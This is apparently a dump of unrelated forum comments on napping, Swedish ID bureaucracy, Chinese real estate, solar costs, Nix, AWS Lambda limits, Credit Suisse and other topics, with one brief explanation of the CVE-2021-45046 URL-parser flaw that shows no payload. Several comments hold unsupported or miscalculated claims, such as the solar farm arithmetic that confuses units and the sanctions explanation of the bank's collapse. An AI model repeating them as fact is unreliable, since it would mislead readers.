One of the traits/habits I’ve been fortunate to have/cultivate is daily afternoon napping. I can rest my head and fall asleep in minutes and then wake back up 15 minutes later feeling cognitively refreshed. I’ve done this since my teenage years and throughout adulthood.

Short, intentional, regular napping is associated with a lower risks of dementia. This is different from increased, longer, napping seen in older adults. Longer naps in older adults is associated with Alzheimer’s. See this summary:

https://www.alzdiscovery.org/cognitive-vitality/blog/can-nap...

It will be interesting to see if further research in humans can pinpoint a plausible causal mechanism in adult for both regular night time sleep and intentional short daytime napping. This might encourage companies to put in ‘sleep pods’ or at least remove the stigma of adult napping.

I stand corrected, saw your other post about sammordningsnummer, and googled that. It's quite the corner case that I'd never heard of before.

I'll agree that the system is not optimal and could be better in this regard, but it is hardly dystopian. You have about 2 hoops to jump through to get your ID, and after that you'll have full access to one of the most convenient bureaucracies on earth (and that's probably the first time I've used the words convenient and bureaucracy in the same sentence!)

Having lived in a few different countries, and having friends who have migrated from a few others to Sweden, I'm fairly confident the Swedish bureaucracy is ahead of the curve.

If I may ask, where do you live that has a better system? How does it work over there?

>just wild how long some of these things can go on for before the breaking happens

Other point of consideration is sometimes things breaks with a whimper not a collapse. Real estate technically "broke" with 3RL = expected 2-3% drop in excess / unproductive GDP. Collapsist think PRC will turn into Yemen without pumped up RE growth, but actual RE sales is ~15% of economy, the often quoted ~30% number includes ancillary industries like construction that got redirected to other projects like renewable rollouts. PRC RE sales dropping from 15T (yuan/rmb) in 2021 to 12T in 2023 out of 100T GDP = today's "quality" growth at ~5% instead of previous wreckeless growth ~8%. Meanwhile, resources directed at actually useful strategic industries, backed by pipeline that generates about as much high skilled workers as western block combined doing actual useful things like building EVs, fabs and generally moving up value chain. IMO west is going to miss the days PRC wreckeless sunk money in real estate instead of high tech products that will directly challenge encumbant western market leaders.
I didn't look into this in detail at the time, but the report's summary of CVE-2021-45046 is that the parser that validated an URL behaved differently than a separate parser used to fetch the URL, so an URL like

is validated as 127.0.0.1, which may be whitelisted, but fetched from evilhost.com, which probably isn't.

In another comment I talked about how I observed a phenomena similar to the one described where neuronal activations would create waves, I've quoted it here. I would summarize it as 3D waves of light, resulting in a spherical enamation that readjusts the physical substrate of the mind and body.

""

I tried to observe the phenomena yesterday again and couldn't observe it but it was very specifically this in the past: spherical orbs of white light expanding from a centre. There were many of these, and my perception was that the nature of this geometric expanding shape was healing. To describe it more clearly, many years ago I felt that the perfect geometric spherical nature of these expanding waves were designed to gently round off rough edges. To make an analogy, imagine kneading some play dough over and over again. When you use your hands to do so, every time your hands make contact with the play dough, the play dough changes shape slightly because of the contact between your hands and the play dough and it gets softer. Now apply this concept to the idea of energetic waves making contact and passing through the material substrate of the brain and the rest of the body (yes I observed the waves applying to more than just my mind). It was my physical and conscious perception that as the spherical waves emanated from some center, they gently readjusted the physical substrate that they passed through. And because there were so many of them in different spatial locations, this readjustment was incredibly refined.

According to this page [1] it was $2 Billion for the installation of 130Mw of this farm and that it's only got a 20 year lifespan . Say a generous 50% capacity factor gives us 65Mw output or 1560Mwh per day for a total of 569400 Mwh per year. About 11,380,000 total from this farm in the next 20 year.

so 2,000,000,000 / 11,380,000 = $175.62 per Mw and that assumes you bought all of the energy in that initial 2 billion and that there's no maintenance required.

I get that's (probably!) a joke, but it misrepresents COBOL as something completely stuck in the 70s. And, y'know, it isn't exactly the fanciest language in the world, but we still have several programmers on our project and they're spitting out new code every day of their life, no punchcards:).

> money is like a legal contract recording how much abstract value you have given to "society" and how much access you have to resources

Finally, someone who understands money. As opposed to the typical "but my military!", as if no country with a strong military had ever had its currency fail...

I would only emphasize the importance of the scarcity aspect of money, which seems to be a (purposely) forgotten lesson nowadays. It reminds me of the historical importance of the Spanish Price Revolution, which with its 1.2% yearly inflation, nowadays it would be considered laughable.
Because we’d rather be living in a world where textiles are so cheap to produce that everyone can afford to clothe themselves however they want and even the working poor can furnish their homes with upholstered furniture and own more than one towel, blanket, sheets, pillows, and have rugs, mats, carpets, etc. not to even mention all the other woven stuff that isn’t even possible to do by hand along with all the other technologies birthed from the very smart idea of automating a tool that was previously only operated by hand. I don’t know about you but I certainly don’t want to go to my grave bent over this loom.

Yes, I can, and do. However, not every you can. There are 3rd party companies that do this, but it's not what every station wants to do.

Writing to you from NixOS on an M2 Air. Aside from a handful of missing packages that aren't available for the architecture, it's shockingly good. My battery is reporting 19 hours remaining, and "setup" took about 20 minutes (not counting the brief time writing a new machine definition in my NixOS config). I don't have any fundamental issues with macos, but it's nice to have a consistent environment across machines, and this hardware is glorious.
The performance comparison would be interesting to me.

I'm curious to know how close we can get to these frameworks by directly using Vulkan for GPGPU.

Especially as an indicator of the feasibility of rewriting core components like cuFFT and cuDNN in Vulkan.
Nobody cares about people with older devices. We've shifted to a mode where companies tell their customers what they have to do, and if they don't fit the mold they are dropped. It's more profitable that way - you scale only revenue and don't have to worry about accessibility or customer service or any edge cases. That's what big tech has gotten for us.
To be honest, now when I'm thinking about it - it seems to me Nix main weakness here is that it is a separate language and runtime.

Writing a Maven plugin (ie. a reusable piece of configuration management logic) is easy because you can use any library from the vast Java ecosystem (just add a library as a dependency of your plugin).

Doing the same in Nix requires recreating these libraries in Nix.

Looks like Maven might simply be the right choice...
As the other commenter points out, this offering isn't quite comparable to Lambda directly. This ends up comparing apples to oranges here and there, but overall I was able to get a good idea of the choices made and the tradeoffs involved. Nice work! I do have a complaint about the comparison table that shows 'convert HTTP to function calls' as an alternative to load balancers and reverse proxies: as we see later in the article, there is still a load balancer involved, and that table creates a false impression that there isn't.

Their quoted limits on AWS seem quite off.

> As of 2024, they can only use 3 CPUs (6 threads) and 10 GB of memory

Actually you get 1vCPU (eg a hyperthread) per 1769MB of memory[1]

[1] -https://docs.aws.amazon.com/lambda/latest/dg/configuration-f...

> Response bandwidth is 2 Mbps

This is shockingly low, and I wouldn't believe it without data. 16Mbps (2MB/s) would be more believable. In my experience you can reliably get 25MB/s (~400Mbps) in the network layer of things in AWS.
People who BS (researchers in psychology) are more likely to fall for BS (this sort of social psych research).
What you’re proposing would require a literal quantum shift in DRM, where it’s only possible to use a copy of something if that thing hasn’t been itself copied somewhere else. That world would ironically unite the desires of publishers, creators, and actual archivists, leaving only the pirates out in the cold. Whoever figures out how to do that is going to make a fortune.
The only way out of this is an early retirement in a LCOL area or a job with a very good WLB (which is likely pretty rare for most HNers in the tech industry). Even ignoring overtime I'm typically tired when I get home from work and have other commitments alongside my hobbies and tinkering.

I’m going to gently pile on to the sibling comment here, and note that the “hacking” we find interesting should and does change over time. I used to spend time hacking PDP-11 assembly code to make games. That got old, and if I play a game now it’s purchased. The stuff I hack on now is more like applied math.

This is all good and natural, if it’s organic and not growing it’s probably not alive.

I'm normally a fan of Dan Luu's posts but I felt this one missed the mark. The LCP/CPU table is a good one, but from there the article turns into a bit on armchair psychology. From some random comments coming from Discourse's founder, readers are asked to build up an idea of what attitudes software engineers supposedly have. Even Knuth gets dragged into the mud based on comments he made about single vs multi-core performance and comments about the Itanium (which is a long standing point of academic contention.)

This article just felt too soft, too couched in internet fights, to really stand up.

Economic sanctions imposed by Switzerland on Russian individuals and businesses had the most significant impact on the demise of the bank. Credit Suisse held about $33 billion for Russian clients, 50% more than UBS.

What does any of this have to do with "intellectual rigor?" sources are cited in the paper and the authors are among leading global economists. death by association is a cheap way to avoid the real intellectual rigor of refuting legitimate points in the publication.

Political unrest in the US and US over-reliance on sanctions are two of the most damning threats to monetary hegemony in the 21st century. routine defaults on an arbitrary ceiling of debt have precipitously reduced US credit ratings over the past decade. a federal insurrection is also something you might not wish to see in a country that boasts its safe currency.

I don't really buy into the "is it really their fault" argument if I'm being honest and I think humoring it is what holds a lot of this back. If I start pissing in public, picking fights, and generally behaving like nuisance because I'm drunk I'll still be held accountable for my actions. Especially if I become an alcoholic and establish it as a pattern of behavior.

Ultimately, it's part of why I like regulated legalization more then decriminalization, users could at least be pushed from things like cocaine over towards Adderall or some other pharmaceutical that might not be sexy but at least it won't have a 50/50 chance of being cut with fentanyl like a lot of street drugs these days.

Nix falls into a category where it's incompatible enough with upstream that it requires significant packaging effort, for most libraries. This is especially so when you have complex C or C++ libs with imperfect Cmake and Autotools build scripts or janky Makefiles. Wrapping everything for Nix becomes a significant portion of the work.

Frequently it's not packaged or some version was but the upstream build system changed an you have to do it yourself.

If you don't either benefit significantly from Nix's upsides (which most projects really don't), or you don't enjoy this and do it for fun, it's not a productive use for your time. If you can convince your employer to pay you to shave that yak, it's a net waste.
Oh, I totally agree! When I started consulting in the 1990s I got a NoLo Press book which clearly and helpfully explained contract terms for computer consulting. I've since had a couple of decades of reading contracts to do consulting work. My knowledge does not go outside that domain, but it's still fun to read things like how the storage unit we rented prohibits keeping farm animals in it.

By the way, HUGE shout out to the OmniGroup, who have the absolute best commercial+proprietary license agreement I've ever read. They even allow some reverse engineering, just not to avoid the licensing system. That strongly influenced my own proprietary license to allow the same.

When I have these discussion with the government and political parties, I will be asking if the high school curriculum is being updated to include more training in reading ToS, and to ask if it's really reasonable to be personally bound to terms that no one reads.

Personally I think there needs to be the equivalent of the Uniform Commercial Code, though to harmonize, standardize, and regulate app service ToS. But that's a wild idea that I cannot pursue, only wonder about.

All I can focus on is that we should not require the permission of Apple or Google to be a citizen living a simple life in Sweden.

I only recently moved from a 6-year old LG flagship phone to a shiny new Galaxy, and the performance difference is staggering. It shouldn't be - that was a very high-end phone at release, it's not that old, and it still works like new. I know it's not just my phone, because the Galaxy S9s I use to test code have the same struggles.

I would like to have seen Amazon in the tests. IME Amazon's website is among the absolute worst of the worst on mobile devices more than ~4 years old. Amazon was the only site I accessed regularly that bordered on unusable, even with relatively recent high-end mobile hardware.
There are pain points on both. Audio on Linux is still annoying if your system isn't very vanilla, while Windows sucks at bluetooth, configurability, and has a lot of annoying anti-user "features".
